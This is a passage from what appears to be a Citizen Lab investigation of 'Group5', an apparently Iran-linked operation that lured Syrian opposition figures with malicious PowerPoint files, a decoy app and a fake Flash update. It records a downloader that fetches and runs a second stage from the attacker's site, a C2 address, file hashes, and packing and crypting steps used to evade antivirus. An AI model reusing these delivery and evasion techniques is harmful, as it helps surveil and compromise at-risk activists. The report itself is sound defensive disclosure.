analyzed in Part 3: +Windows Malware. +Part 2: The Assadcrimes Website +Group5 operated a website, assadcrimes[.] info that served as a watering hole for Android and Windows malware. This +6/48 +section outlines the various files hosted on the site. +After the initial e-mails, we began to monitor a website linked to the e-mails: assadcrimes[.]info. At the time of these emails (Oct. 3, 2015), the site was not fully functional. However, within a few days (Oct. 11, 2015) the main page displayed +Posts Tagged Bashar Assad Crimes + with content apparently critical of Bashar Assad. The content appears to have been +scraped from an opposition blog, as well as from other opposition sites. This blog was created in the name of Tal alMallohi, known as Syria +s youngest prisoner of conscience. The original blog creation predates the current unrest in +Syria. +Shortly before this publication of Group5, the website was listed as +expired + and parked, indicating that the owner chose +not to renew the domain. +Figure 2: Screenshot from a slide referred to an Iranian attack in 1984 against petrochemical facilities in Saudi Arabia. +Malware Seeding on the Website (Dropper Doc 3) +While monitoring the website, we identified several directories that auto-download a further malicious file +(assadcrimes.info.ppsx). These links seem designed for other forms of social engineering, perhaps using similar bait to +the messages targeting Al-Ameer. The Assadcrimes.info.ppsx file concerns the Syrian conflict, with characters and +cartoons culled from social media and online sites. +Translation: +A new Play in Syria +Russian-American plan to divide the Syrian cake. +When viewed, the victim +s computer is silently infected with malware (See Part 3: Windows Malware). +Assadcrimes.info.ppsx +7/48 +MD5: 30BB678DB3AD0140FC33ACD9803385C3 +Martyred Children (Decoy Dropper 4) +Elsewhere on the site we found several HTML pages that, when visited, triggered the downloading of a malicious +executable named +martyred children + (alshohadaa alatfal.exe). When executed, the program pulls images hosted on +assadcrimes[.]info of the Ghouta Chemical Attacks, while simultaneously infecting the target machine with malware. +Malware from the website is described in Part 3: Windows Malware +alshohadaa alatfal.exe +MD5: 2FC276E1C06C3C78C6D7B66A141213BE +Android Malware +While examining the assadcrimes[.]info website, we identified Android malware, seeded via a fake Adobe Flash Player +Figure 3 : Screenshot of the website taken in April 2016 (assadcrimes[.]info). +update notification. We describe this Android malware in detail in: Part 4: Android Malware. +adobe_flash_player.apk +MD5: 8EBEB3F91CDA8E985A9C61BEB8CDDE9D +Part 3: Windows Malware +8/48 +Group5 used (or was staging) a range of malware in this operation, ranging from malicious PowerPoint slideshows using +exploits to executable files that directly drop malware. A comprehensive analysis of their malware is found in Appendix A: +Windows Malware Analysis. +Malicious PowerPoint +The initial Group5 targeting that we observed in the e-mails to Al-Ameer included PPSX documents as a vehicle for +Group5 Staging and Targeting +malware using two different techniques: (1) executing OLE objects using animation actions within a PowerPoint slideshow +and; (2) using CVE-2014-4114 to drop and execute malicious code. +In assadcrimes.ppsx the operators embed an OLE Package object within a PowerPoint slideshow. When displayed as an +animation, the object is executed while the slideshow is viewed, a technique that has been previously described (for more +9/48 +detail, see Appendix A: Dropper Doc 1 & Appendix A: Dropper Doc 3 ). In this case the user is presented with a +prompt asking whether they wish to run the object. +In the assadcrimes1.ppsx, the operator has created a PowerPoint file that leverages CVE-2014-4114, a vulnerability in +the OLE packager component of the Windows operating system (See Appendix A: Dropper Doc 2 ). +Figure 4 : A slide from the file Assadcrimes.info.ppsx +Decoy Applications +The operators have also created a decoy application, hosted on assadcrimes[.]info, that displays images of child victims +of the 2013 Ghouta Chemical Attacks. When executed, the application silently decrypts and drops the malware (See +Appendix A: Decoy Dropper 4 ). +10/48 +Figure 5 : showing screenshot of +alshohadaa alatfal.exe + running. Images blurred by the authors. +11/48 +Figure 6: The malicious executable within the PowerPoint slideshow, when viewed in edit mode. A victim double clicking on the slideshow would not be shown the object. +12/48 +The RATs +The operators use these techniques to deliver two commonly available Remote Access Trojans (RATs): njRat and +NanoCore RAT. In both cases, Group5 disguised the malicious binaries with several layers of obfuscation, including +crypting and packing to reduce the possibility of detection by antivirus software. +Both RATs provide a wide range of functionality on the target machine, ranging from collecting files, watching the screen, +to capturing passwords and keystrokes. The RATs also enable the operator to remotely delete files, and spy on the +computer user via the microphone or webcam. +Antivirus Detection +13/48 +On July 26, 2016 we conducted a VirusTotal search for the MD5 hashes of each of the files encountered during this +operation. The results, provided in Appendix D: File Hashes, were consistent with a highly focused or targeted +operation in that only two of the 16 (12.5%) unique MD5s were found. +Figure 7 : Screenshot of njRAT working, and accessing the victim +s files. +Part 4: The Android Malware +While examining assadcrimes[.]info, we determined that the site was also hosting a decoy Flash Player update page. +This page, located on a subdomain, included a download link to a malicious Android APK. For a full analysis of this +malware see Appendix B: Android Malware . +While examining the website we found that the operators had prepared Android malware masquerading as an Adobe +Flash Player update notification. Clicking on the +Update + link (See Figure 8) downloads a malicious file, masquerading as +a software update. +The APK is an instance of DroidJack. According to Symantec, this malware evolved from an older codebase known as +SandroRAT. The RAT provides a wide range of functionality, enabling the operator to capture messages, contacts, photos +and other materials from the device. In addition, DroidJack can also remotely activate the phone camera and microphone, +without notifying the victim. Figure 9 shows some of the functionality available. +A more extensive analysis of the DroidJack malware, can be found in Appendix B: Android Malware . Interestingly, +DroidJack has also emerged recently, bundled with versions of Pok +mon Go . +This approach to mobile malware seeding, while cumbersome, might be assumed to have greater success in the target +group of Syrians than other populations. It is common for Syrians to share Android APK files outside the Google Play +Store, as Google Play Services are not available within Syria. This practice carries over to the Syrian diaspora in other +countries, despite the availability of Google Play. As a result, we suspect that most devices are set to accept APK files +from unknown developers. +Part 5: Attribution +Group5 left a number of clues as to their origin and identity, including the tools they used, where they hosted their website +14/48 +and C2, and how they accessed the website. Notably, Group5 may have also been using a customized version of an +Iranian obfuscation tool. +This section provides an overview of the clues left by Group5 on the website, and in the malware. First, we analyze logs +that the operator mistakenly left publicly visible on the assadcrimes[.]info website. These logs include not only the visitors +to the site, but also the IP addresses and user agent strings that belong to the operator as she or he logged into the site +during the development phase. These artifacts provide interesting clues as to the operator +s identity and operational +security practices, such as using a VPN, and suggest a strong Iranian nexus. +Second, we note the use of Persian-language tools in Group5, from the mailer to the packer. +Finally, we analyze a recurrent theme in the binaries: +Mr. Tekide + a name that appears regularly in the implants. We +link this name to the Iranian developer of a series of malware tools, several of which were used in this operation. +Additionally, we examine the circumstantial evidence connecting this developer to Group5 +s activities. +Unprotected Logs +Several key directories on the assadcrimes[.]info site were left as public, including a folder containing the website logs, a +feature Group5 seems to have enabled early in the operation. These logs date to the early development and operation of +15/48 +Figure 8: Screenshot from the subdomain that was used to host the fake Flash Player update page. +Figure 9: DroidJack server list of commands. +the website, and reveal interesting clues about operator origin and operational security. +After processing the logs to remove crawlers belonging to Google, Bing, Yandex and others, we scrutinized the logs of the +site for evidence of victims, but were unable to locate any victim IPs with high confidence. +Identifying the Operator from Website Logs +While the logs provided few clues as to victims, they proved to be exceptionally useful for identifying the IP addresses +used by Group5 as they developed the site. Looking at the earliest logs in the set, from October 11, 2015, we find the +operator accessing the site hourly from an Iranian IP block as the development continues. +16/48 +Figure 10: Screenshot of 11th October 2015 log, showing list of IP +s and referrer from hostnegar[.]com +The first logged visits to the site come from the IP address 37.137.131[.]70, which belongs to a block registered to +Rightel +Communication +, an Iranian mobile phone network operator. +inetnum: 37.137.128[.]0 + 37.137.255[.]255 +netname: RighTel +descr: +Rightel Communication Service Company PJS +country: IR +admin-c: RP12366-RIPE +tech-c: RP12366-RIPE +status: ASSIGNED PA +mnt-by: TA59784-MNT +created: 2013-08-20T11:13:17Z +last-modified: 2014-05-17T05:28:10Z +source: RIPEperson: RighTel PJS +address: 9th floor, Chooka Building, No 8 , west Armaghan Street, Vali-e-Asr Street +(After Niayesh Highway), Tehran, Iran +phone: + 982127654530 +nic-hdl: RP12366-RIPE +mnt-by: TA59784-MNT +created: 2014-05-17T05:23:47Z +last-modified: 2014-05-17T05:23:47Z +source: RIPE +Further confirming the link is that the operator +s traffic includes a referrer from the Iranian hosting company +(hostnegar[.]com) for the site. +Tracing the operator through an initial UserAgent string (a version of Windows NT 6.3) 2 and IP address, we found them +accessing the site from an iPhone, other Iranian IP addresses, as well as VPNs. +Additionally, the operator accessed the site directly from the malware +s C2 server (88.198.222[.]163). +These links provide evidence for an Iranian nexus, and suggest that the operator may have been taking steps to conceal +their true origin IP. However, these steps were not well executed, which enabled us to track Group5 as they continued to +access the site. +Interestingly, after the flurry of activity in October 2015, by November-December the operator accessed the site only 7 +times, and between January-February 2016 only twice (it is possible we have missed some access attempts that appear +to be innocuous traffic). We concluded from this that Group5 may have stepped back from the site at some point after the +17/48 +New Year. +A Persian-language Mailer +Before the assadcrimes[.]info page was fully populated with decoy content, we found that the site was hosting a Persianlanguage mailer (See Figure 14 below). We were not able to determine how the mailer was being used by Group5, as it +was not observed sending any of the e-mails we were able to analyze. +Links to Known Threat Actors +Group5 appears to have used only a single shared web hosting provider and a single command and control IP address +for this operation. We are unsure whether this strategy was the product of limited resources, an effort to +Figure 11: Hostnegar +s login page +compartmentalise the operation from other activities, or simply a highly targeted operation with a specific focus. +The narrow infrastructure and small number of observed targets limited our search base for potential infrastructure +overlap with known groups. In a holistic evaluation of the campaign, we failed to identify links with the TTPs of previously +documented threat actors or groups active in Syria. We also failed to find a link in searches of malware databases and +open source searching. +On the level of TTPs, superficially there is similarity between this group and other active groups originating in Iran. The +group multiply documented by Palo Alto Networks, which they call +Infy, + is also known to use PowerPoint files in their +18/48 +targeting, although we found no overlap in infrastructure. Furthermore, their targeting (according to what Palo Alto +Networks has said publicly) is slightly different, and involved PowerPoint 97-2003 documents (not PPSX files) during the +same period in which Group5 was using a different tactic. +We cannot not rule out the possibility that a known group is behind this operation, and that we missed or lacked access to +a key piece of evidence that would link such a group to Group5 +s infrastructure or tools. One interesting direction for +further investigation came from analysis of the tool used to obfuscate the RATs, which yielded a number of interesting +connections to known threat actors and tools. Notably, the PAC Crypt tool, and Mr. Tekide, the alias of an Iranian malware +developer. +Figure 12: User agents for the site owner, accessing the website from Iranian IPs and VPN. +Crypt +Figure 13 : User agents for the site owner, accessing the website from the C2, and using VPNs. +Commonly used in malware campaigns, crypters are programs which are designed to disguise the underlying malicious +binary by hiding it within a layer of obfuscation which is then deobfuscated at the time of execution. In this way, crypting a +malicious binary provides a level of protection against signature-based endpoint security tools such as antivirus. In +Appendix A we describe the discovery of a series of strings which suggest that both the njRAT and NanoCore RAT +payloads were built, and then subsequently obfuscated using a crypter tool named +PAC Crypt +19/48 +Careful inspection revealed that the crypter in this case had been compiled in debug mode, thus preserving PDB +reference data. PDB file references are common in .Net applications when compiled in +debug + mode, and they frequently +reveal the original file path of the application source code on the developer +s computer. +Below are the PDB strings discovered when examining the +crypted + njRAT and NanoCore files: +Reference: Doc Dropper 1 Crypter +MD5: a4f1f4921bb11ff9d22fad89b19b155d +Compile Time: 9/30/2015 00:02:51 +c:\users\mr.tekide\documents\visual studio 2013\projects\paccryptnano core dehgani vds\windowsapplication2\obj\debug\launch manager.pdb +Figure 14: A screenshot for the mailer as it was on October 4, 2015. +Reference: Doc Dropper 3 Crypter +MD5:6161083021b695814434450c1882f9f3 +Compile Time: 10/6/2015 02:13:45 +C:\Users\mr.tekide\Documents\Visual Studio +2013\Projects\paccrypt11njratmalii\paccryptalipnahzade\obj\Debug\LManager.pdb +These PDB strings reveal two facts relevant to the discussion of attribution. The first is that the username of the individual +who compiled the .Net application in both cases was +mr.tekide +. The second is that in both PDB strings we find not only a +reference to the malware crypter used (a tool called +PAC Crypt +), but also an explicit reference to the crypted malware +payloads +nano core + and +njrat +These two facts together suggest that an individual having the username +mr.tekide + compiled a copy of PAC Crypt for +specific projects involving njRAT and NanoCore RAT. +A common usage scenario for a malware crypter involves an operator purchasing a copy of the crypter in a compiled form +(or using a cracked version), then using the crypter to obfuscate the malware executable which is to be distributed. In this +scenario the developer of the crypter has no knowledge of what specific malware the threat actor will eventually choose to +encrypt with the purchased copy of the crypter. +20/48 +The fact that the +PAC Crypt + PDB strings discovered in this case contained the +njrat + and +nano core + references is +therefore noteworthy because it indicates the possibility of prior knowledge of the precise malware payload which was to +be crypted. +Research into the PAC Crypt tool revealed that this program is developed and sold by an Iranian malware developer +known as +Mr. Tekide +Mr. Tekide +Mr. Tekide is the online alias of an Iranian malware developer who is also the administrator of the website http://crypter[.]ir, +an Iranian hacking forum and online shop. Notably, this storefront offers various hacking tools and services, including the +aforementioned +PAC Crypt + (see figure 15 below). +Figure 15: Crypter[.]ir main page (left), and contact page (right) +In addition to the crypter[.]ir forum and shop, Mr. Tekide appears to be in the midst of creating a new online storefront for +selling his various malware tools and services. The content shown in Figure 16 below, obtained from http://crypting[.]org, +shows a +rat service + being offered to visitors. The store also touts a Windows Rootkit ( +coming soon +) and various +exploits. +Figure 16: Crypting[.]org main page (left), list of hacking services offered (right) +21/48 +Mr. Tekide also maintains an active presence as a moderator on the Ashiyane forums, 3 an Iranian security discussion +board run by the Ashiyane Digital Security Team (ADST). The ADST is a well-known Iranian security and hacking group +which has earned notoriety for its prolific website defacement activities. These defacements invariably contain a list of +ADST +defacers + alongside the phrase +We Love Iran +Web site defacements conducted by ADST have explicitly named Mr. Tekide as a member, as shown in Figure 17 below. +Figure 17: an Ashiyane Digital Security Team defacement page, naming Mr. Tekide +In addition to its defacement activities, ADST has been recently linked to the indictment by the US Department of Justice +of seven Iranian nationals for cyber attacks against the US financial sector. In its indictment, the Department of Justice +alleges that members of two Iranian security companies, ITSecTeam and Mersad Company, were responsible for +Distributed-denial-of- Service (DDoS) attacks against numerous US bank websites between September 2012 and May +2013. The DoJ indictment also describes that Mersad was founded by members of the ADST, and furthermore that ADST +had made prior public claims regarding its activities on behalf of the Iranian Government. +Additional open source information about Mr. Tekide is included in Appendix C: Mr. Tekide. +A Consistent Iranian Nexus +We cannot conclude with certainty that Group5 is Iran-based, although the confluence of information outlined above +provides a circumstantial case. The IP addresses observed during early stages of development of the Assadcrimes +website, as well as the Iranian hosting provider and the Persian language mailer, all speak to a level of Iranian presence. +The additional apparent involvement of an Iranian malware developer with ties to a known Iranian cyber actor, whether +his involvement was unwitting or intentional, only strengthens the Iranian connection. +Part 6: Analysis of Competing Hypotheses +This section evaluates several competing hypotheses for explaining the identity of the operator. While we cannot +conclusively support one of these hypotheses, we think the most plausible is that this operation is the work of an Iranian +group newly active in Syria. +We believe we found Group5 fairly early in the process of preparing a larger malware campaign, thanks to Noura AlAmeer +s vigilance. This gave us unique visibility into some of their staging, but we had only a limited view of other +possible targeting. Group5 +s reliance on a narrow infrastructure limited our ability to connect the operation to other known +groups, as discussed above. +With these caveats and limitations in mind, we outline the known elements of the operation, and evaluate several +hypotheses: (Hypothesis 1) an Iranian group newly active in Syria; (Hypothesis 2) that the operation is from known +regime-linked groups, like the Syrian malware groups; and (Hypothesis 3) that it is from some other unknown group. After +addressing the fit of each hypothesis with available evidence, we provide an overall evaluation of the three, and conclude +22/48 +that Hypothesis 1 provides the best explanation for what we have observed. +Hypothesis 1: Iranian Group Newly Active in Syria +A group previously unreported in Syria with uneven skills but displaying thought and care in selecting the target, and +preparing the operation, with an Iranian nexus and a possible government connection. +Previously Unseen in Syria: We have been unable to find a high-confidence overlap in infrastructure or malware to +previously-reported groups active around Syria. We also had difficulty connecting the operation to other known groups in +the global threat actor space. Furthermore, the use of exploits, as well as DroidJack and other tools, is inconsistent with +the TTPs of known groups targeting the Syrian opposition, especially the regime-linked groups. Notably, these groups +have shown little ability or appetite for: (a) standing up multifaceted seeding websites; (b) targeting Android users; (c) +using exploits in PowerPoint files. +Previously reported groups, especially regime-linked groups, have had a tendency to re-use infrastructure, and repurpose +similar tools and approaches. It would be surprising for them to suddenly abandon tactics that still +work, + and cease using +a C2 infrastructure that cannot be taken down (because it is inside Syria). +While Group5 +s tactics have more in common with the group reported in this FireEye report, such as the use of a fake +website, COTS .Net malware, and Android malware, there is no direct infrastructure or tool overlap, and only limited +evidence of social engineering sophistication (e.g. the use of avatars). +Furthermore, the lack of technical sophistication, combined with low operational security, suggest that, had this group +been previously active for any length of time, it would have run the risk of discovery, perhaps especially given all of the +existing reporting about pro-Regime malware groups in Syria. +Uneven Technical Sophistication: The operators showed familiarity with a range of cybercrime tools, yet also +committed a range of operational security oversights, such as leaving their logs open and public-facing, connecting via +their C2 server, and leaving debugging strings in compiled files. These characteristics would be inconsistent with the work +of an in-house government capability. +Iranian Connection: Analysis of the malware and seeding yields a consistent Iranian presence. The binary contains +Iranian and Iranian-Persian traces, as do the tools used for obfuscation, which are popular in Iranian cybercrime forums. +Similarly, the mailer discovered on the assadcrimes[.]info website is in Persian. There is also the intriguing, but ultimately +unproven speculation that the crypter may have been sold to Group5 by a known Iranian malware developer. +Furthermore, logs of access to the assadcrimes[.]info site suggest that the operators are working from within Iranian IP +space. In addition, the bait content also contains substantial Iranian themes. Finally, the hosting provider (Hostnegar) is +Iranian. A final piece of highly circumstantial evidence is that PowerPoint documents containing exploits, albeit often with +quite different (and sometimes custom) malware, is a commonly reported feature of many recently-reported Iranian +campaigns. +Targeting Sophistication: Group5 not only targeted a well-connected individual within the Syrian opposition, but also +masqueraded as her to register the assadcrimes[.]info site. Both the site and the bait content also indicate a degree of +familiarity with the opposition +s concerns and activities, and their targeting indicates they were targeting a key person in +opposition politics and multilateral negotiations, yet not highly visible outside of informed circles. Speculatively, the choice +of target is indicative of the interests and resources of a state-level actor, or a group receiving direction or providing +information to such an actor. A number of governments and non-state actors in the region have an interest in the workings +of the opposition, and several are providing direct or indirect support to the Assad Regime. We discuss this possibility in +greater detail below in Evaluating Hypotheses. +Hypothesis 2: Known Regime-Linked Group +A known Regime-linked group has modified its tactics to operate against familiar targets +Familiar Targets: The most widely documented threat against the Syrian opposition comes from regime-linked groups, +23/48 +notably malware groups and the Syrian Electronic Army (to a lesser degree). These groups benefit from known links to +the regime of Bashar al-Assad, which has a direct and strong interest in monitoring members of the Syrian Opposition, +including the groups apparently targeted in this operation. We are familiar with previous operations by regime-linked +groups targeting the same organizations. +Modified Tactics: We cannot rule out the possibility that existing groups have added a range of new TTPs to their +existing set as the conflict continues. +Regime-linked groups certainly have the motivation to conduct this operation. Do known groups have the skills to conduct +such an operation? There are a range of features of this operation that suggest Group5 may not be a regime-linked group. +First, known regime-linked Syrian groups have tended to use a limited set of C2 servers, almost always with at least one +server (or a fallback) located within a narrow set of servers within Syria. Group5 does not have a fallback C2 in Syria. +Similarly, the servers that Group5 does use are not from companies previously associated with Syrian regime groups, nor +is there any prior evidence of regime-linked groups making use of Persian-language tools, or Iranian IP space. Further, +known Syrian groups have been active for almost 5 years without evidence of familiarity with PPSX exploits. It is unclear +why they would deploy so many new tactics all at once, even they continue to gently iterate on techniques familiar to +them. +Other Syria-Focused Groups? In the introduction we mentioned two other groups that have previously targeted the +Syrian opposition: a Lebanon-linked group uncovered in 2014, and an ISIS-linked operation in 2015. The first group, +described in a 2015 FireEye Report, coauthored by one of the authors of this report, conducted an extensive campaign +against the Syrian opposition. The campaign relied heavily on Arabic-speaking female avatars to flirt with opposition +figures and trick them into downloading malware for Windows or Android. That campaign, however, differed in malware +tools, infrastructure, and social engineering style from Group5. In addition, it lacked any Persian-language elements, or +connection to Iranian IP space. +In late 2014 a Citizen Lab report coauthored by one of the authors of this report, identified a malware operation linked to +ISIS that targeted Raqqa is Being Slaughtered Silently, a documentation and media group working to uncover human +rights abuses in Raqqa and other ISIS-controlled territories. That malware was apparently custom-made but very +unsophisticated. Lacking the functionality of a RAT, and exfiltrating via e-mail, the operation was substantially less +sophisticated than Group5 +s activities. We think it unlikely that the operator behind that malware has (a) grown much +more sophisticated, or (b) begun to rely on Iranian tools and hosting providers. +Hypothesis 3: Other Unknown Group +An unknown group, not located in Iran and not linked to prior groups +It is possible that the operation is the work of some other unknown group. One possibility that we consider is that the +operation is a false flag from another state sponsor, deliberately crafted to appear to be an Iranian group. In another, we +also consider the other common motivations for such operations, including financial crime. +A False Flag: Certainly, many other governments are actively interested in information about the Syrian opposition. Given +the extensive circumstantial evidence strewn throughout the operation that points to a group based in Iran, one possibility +we consider is that the operators are deliberately masquerading as an Iranian group, while acting on behalf of another +sponsor. +In such a scenario, each of the pieces of circumstantial evidence we have assembled is a string of deliberately planted +artifacts, intended to deflect from the threat actor +s true identity. This hypothesis is an intriguing possibility that cannot be +conclusively ruled out. However, it is worth asking why, given the noisiness of existing groups targeting the Syrian +opposition, a false flag operation would not simply be populated with the many publicly reported strings and other tools +associated with pro-regime groups. Similarly, we wonder why a threat actor sophisticated enough to mount such an +operation would not also have used more sophisticated malware or seeding techniques. +Financial / Commercial Hacking: We find no evidence to suggest that financial crime or commercial espionage played a +part in this operation. For a narrowly focused operation, the targeting, for example, does not appear to be geared towards +24/48 +wealthy individuals, or those with access to serious financial resources. +Evaluating Hypotheses +We have moderate confidence that the best hypothesis is Hypothesis 1: Iranian Group Newly Active in Syria. The Group5 +operation shows strong Iranian connections, with few indicators linked to previously reported groups, including Syrian +regime-linked groups. The important caveat is that, perhaps partially by design, we have a limited view on the targets of +the campaign, and it is possible that this analysis would change. +We further believe that Group5 shows some signs of being state-directed, however we do not have sufficient evidence to +link Group5 to a particular government. Two possibilities seem likely: (1) Group5 is working under the control or direction +of a government entity within Iran, or sympathetic to such an entity and receiving and sharing information with them; (2) +Group5 is collaborating or working on behalf of a government entity within Syria for ideological or mercenary reasons. +Both governments are belligerents within the Syrian conflict, and both would have a strong interest in accessing the +communications of the Syrian opposition. +The Iranian government has been a strong supporter of the regime throughout the conflict, and clearly has an interest in +learning and frustrating the political maneuvering of the Syrian opposition. Iranian intelligence and security services have +reportedly provided a wide range of military and intelligence gathering assistance to the regime, ranging from troops and +training, to electronic monitoring capabilities. At minimum, operators based in Iran certainly would be unlikely to face +punishment from their government for work against the Syrian opposition. Speculatively, sponsoring such an operation +(held at arm +s length and consigned to a deniable, less experienced group) could provide useful information about the +activities and thinking of key individuals within the Syrian Opposition, such as advanced knowledge of negotiating points +in multilateral meetings, or internal disagreements. +Importantly, there is no evidence to directly connect Group5 to any entities within the Iranian government, security +establishment, or military. Nor can we rule out the possibility that Group5 is Iran-based, but working on behalf of some +other entity. +The most perplexing part of the activity we observe is that the operation appears to have been extensively prepared, and +then apparently paused after initial seeding. This pause took place not long after Al-Ameer was initially targeted: the +website development continued for a period after she had received the initial e-mail, and then ceased. Group5 may have +initially targeted Al-Ameer hoping to leverage her well-connected position and digital identity to target others within the +Syrian opposition. Theft of her digital identity would explain why her name was used in the WHOIS for assadcrimes[.]info, +and why, after failing to infect Al-Ameer, the campaign did not appear to receive much further work, and the infrastructure +was ultimately abandoned. +Other explanations for the pause in activity are possible, and we cannot discount them based on our limited evidence: +Group5 may have undergone a shift in the focus of its targeting, concluded that their campaign was +blown + and +abandoned it, experienced human resources or political issues, or simply concluded that the operation was using an +ineffective technique. +Conclusion +When Syrian opposition figure Noura Al-Ameer sensed something wrong and refrained from clicking, she frustrated a +reasonably well put together deception. We suspect she may have been targeted in order to steal her digital identity for +the purposes of mounting a larger campaign. Beginning with this initial message, we were able to identify and +characterize Group5, a seemingly new entrant into the game. +With the identification of Group5, the number of publicly identified operations known to have targeted the opposition with +malware has risen to five, at least: Regime-linked groups (Syrian malware groups and the Syrian Electronic Army), a +Lebanese Group, ISIS, and most recently Group5. We believe that the most compelling explanation of Group5 +s activities +is that a group in Iran may be attempting to compromise the communications of the opposition. The circumstantial +evidence pointing to an Iranian group is unsurprising, given Iran +s active military engagement in Syria, and the +25/48 +sympathies of many in that country for the Assad regime. However, mindful of the limits of our investigation, we stop short +of conclusive statements of attribution about the identity of the operators, or their possible sponsors. We hope that by +publishing this report and sharing indicators, our work will be helpful to other researchers who may see pieces of the +puzzle that we do not. +Despite the diversity of the groups targeting the Syrian opposition, they share general features: uneven or low technical +sophistication plus good social engineering and well-informed targeting. These elements are characteristic of the majority +of malware and phishing operations targeting the Syrian opposition over the past several years. +The continued targeting, and entry of new groups, reflects the continued weakness in the Syrian opposition +s digital +security, and more generally the risks groups face when using popular online platforms for contested political activities. +Operators targeting the Syrian opposition plainly do not need sophisticated tools, because easily available malware +continues to +work, + when paired with good social engineering. The technical requirement for entering the game is low, +enabling unsophisticated groups to achieve successes, while permitting more advanced groups to conserve better +techniques for harder targets. +The lack of a centralized communications hierarchy can make opposition groups responsive, and quick to adapt. +However, decentralization also provides many opportunities for digital exploitation. Operators can target groups for long +periods while remaining unnoticed, without fear of being spotted and blocked by a security team. Even when exploitation +attempts are noticed, because the security of these groups relies on the behavior of individuals, it can be extremely +difficult to ensure that more secure behaviors are adopted. +Opposition groups and their partners face many challenges, and we appreciate the difficulty of securing behavior. The +infrastructure that we analyzed is, at time of writing, apparently abandoned. However, we suspect that Group5, or the +interests behind it, may be continuing to pursue efforts to target the opposition. We hope to reinforce the message that +continued vigilance is necessary to defend against these operations. +Click here for some suggestions about how to improve your digital hygiene. If you believe you may have been targeted by +this operation, or other Syrian malware, you are welcome to get in touch with our researchers at submit@citizenlab.ca. +Acknowledgements +We thank Noura Al-Ameer for collaborating with this investigation, and for graciously agreeing to be included in this +report. The targeted nature of many cases means that, without the help of brave targets and victims, we are often left with +a very limited view of what is taking place. +We are exceptionally grateful to colleagues at Citizen Lab for comments, critical feedback, and assistance with document +preparation including Ron Deibert, Bill Marczak, Morgan Marquis-Boire, Sarah McKune, Masashi Nishihata, Irene +Poetranto,Christine Schoellhorn, and Adam Senft. +Thanks also to Justin Kosslyn and Brandon Dixon for helpful feedback. +We would also like to thank the following teams: Lookout, PassiveTotal and RiskIQ, VirusTotal, and Cisco +s AMP Threat +Grid Team for data correlation. +Very special thanks to other investigators who wished to remain anonymous but provided exceptionally helpful assistance, +especially TNG and Tuka. +Note: the night sky image of Syria used as background for several illustrations is from CIMSS at the University of +Wisconsin Madison. +Appendix A: Windows Malware Analysis +This section analyzes the malware used by Group5. It walks through the distinct droppers, which range from malicious +26/48 +OLEs in a PowerPoint Slideshow file (PPSX) combined with an exploit, to executable files directly containing malware. +Dropper Doc 1 (From E-mail 1) +Assadcrimes.ppsx +MD5: 76F8142B4E52C671871B3DF87F10C30C +This slideshow deploys its malicious payload by (ab)using the OLE object embedding capabilities of PowerPoint.4 +Specifically, the malware executable is embedded into the slideshow as an OLE Object of type Package: +Figure 18: Adding an OLE Package to a PowerPoint document +Once embedded, the slideshow +Animation + feature is used to trigger the execution of the object immediately upon +viewing the first slide. +In one of the malicious PPSX files, we can see the embedded package object by viewing the slides in normal view mode: +27/48 +Figure 19: The malicious OLE Package, visible when editing the PPSX +Once activated, the embedded object is saved to disk as %TEMP%\putty.exe, and then executed. This executable is a +.Net downloader. +28/48 +Figure 20: showing putty.exe (.Net downloader) +In Figure 20 we can see that the second stage payload is obtained from the URL http://assadcrimes[.]info/1/dvm.exe [Ref +1]. This second stage executable is saved to disk as %temp%\dwm.exe [Ref 2], and then executed [Ref 3]. +The %temp%\dwm.exe file has the following hashes: +SHA256 +7d898530d2e77f15f5badce8d7df215e +c19bc1ff5f8472fb7ba64f33c2168b42ea881a6ae6e134a1cc142e984fb6647f +The malware downloaded and executed by the .Net downloader is NanoCore, a well-known RAT (Remote Access Trojan) +that enables the remote monitoring of victims via their computers. The NanoCore binary is wrapped using several layers +of code obfuscation, which we describe in detail below. +Deobfuscating the Malware +The malware was obfuscated first with crypting, followed by packing before being distributed. +29/48 +We will unwrap these steps in reverse order below. +Unpacking +The packer used on this executable employs a simple technique of base64 encoding the PE file and breaking it up into +numerous lines which are then embedded into the resource section of the .Net packer stub file. At runtime, the packer +reverses this process, then invokes the resulting .Net assembly from memory. +Figure 21: Base64 strings found in the resource section of the packed executable. +Extracting this packed code reveals a .Net assembly which is yet another layer of code protection applied using a +crypter +. This binary has the following hashes: +SHA256 +a4f1f4921bb11ff9d22fad89b19b155d +d81ec563387e2ea47bc8ed50fd36e1de955cb2331d6eaae9f966b5d7ab094806 +Decrypting +This executable is stub code which performs in-memory AES decryption of a base64 encoded string variable. This string +variable holds an encrypted copy of the NanoCore RAT binary. +30/48 +Figure 22: the AES decryption routines +This encryption of the underlying malware is typically employed to bypass detection by endpoint security controls such as +antivirus programs. Many +crypter + tools, as they are known, are available for purchase or trade on various hacking +forums. +Of particular note, this decrypting stub code retained its PDB (short for Program Database) information. PDB file +references are common in .Net applications when compiled in +debug + mode, and they frequently reveal the original file +path of the application source code on the developer +s computer. +This executable revealed the following PDB file path: +c:\users\mr.tekide\documents\visual studio 2013\projects\paccryptnano core dehgani vds\windowsapplication2\obj\debug\launch manager.pdb +This PDB string indicates that +mr.tekide + was the username of the developer who compiled this particular stub, and further +that it was compiled as part of a Visual Studio project named +paccryptnano core dehgani -vds +. In addition, a single +subroutine found inside the decrypting stub was named +tekide +. The relevance of this PDB string was discussed above in +Part 5: Attribution. +In order to obtain the intended malware payload from this decrypting stub executable, we created a small .Net application +to mimic the decryption steps and output the file to disk. Once complete, we obtained a malicious executable with hashes: +SHA256 +dd5bedd915967c5efe00733cf7478cb4 +a9db5a548ea17d6606bfbdb20306a3a08b38dbfe720f9f709f4d3369288be104 +31/48 +Original NanoCore binary +Now that we have arrived at the original NanoCore binary, we can examine the configuration as specified by the operator. +In order to extract the configuration settings from this copy of NanoCore, we used Kevin Breen +s RATDecoders. +Using Breen +s tool we arrived at the following configuration: +Figure 23: The NanoCore configuration, using Kevin Breen +s RATDecoders +Notably, 88.198.222[.]163 port 8081 is the command and control channel for this malware. As noted in Part 1, the same +IP was also present in the seeding e-mail header. +Dropper Doc 2 +assadcrimes1.ppsx +MD5:F1F84EA3229DCA0CCACB7381A2F49F99 +This PowerPoint document leverages CVE-2014-4114, a vulnerability in the OLE packager component of the Windows +operating system. As described in previous reporting, this vulnerability causes a file embedded within the PowerPoint +document to be copied to disk and executed silently on vulnerable systems. +The document under examination drops a file named dvm.gif to disk, renames it to dvm.exe and then executes it. This +dvm.exe is the same packed and crypted copy of NanoCore as retrieved and executed by the .Net downloader described +in the previous section. +Dropper Doc 3 +assadcrimes.info.ppsx +MD5: 30BB678DB3AD0140FC33ACD9803385C3 +This malicious 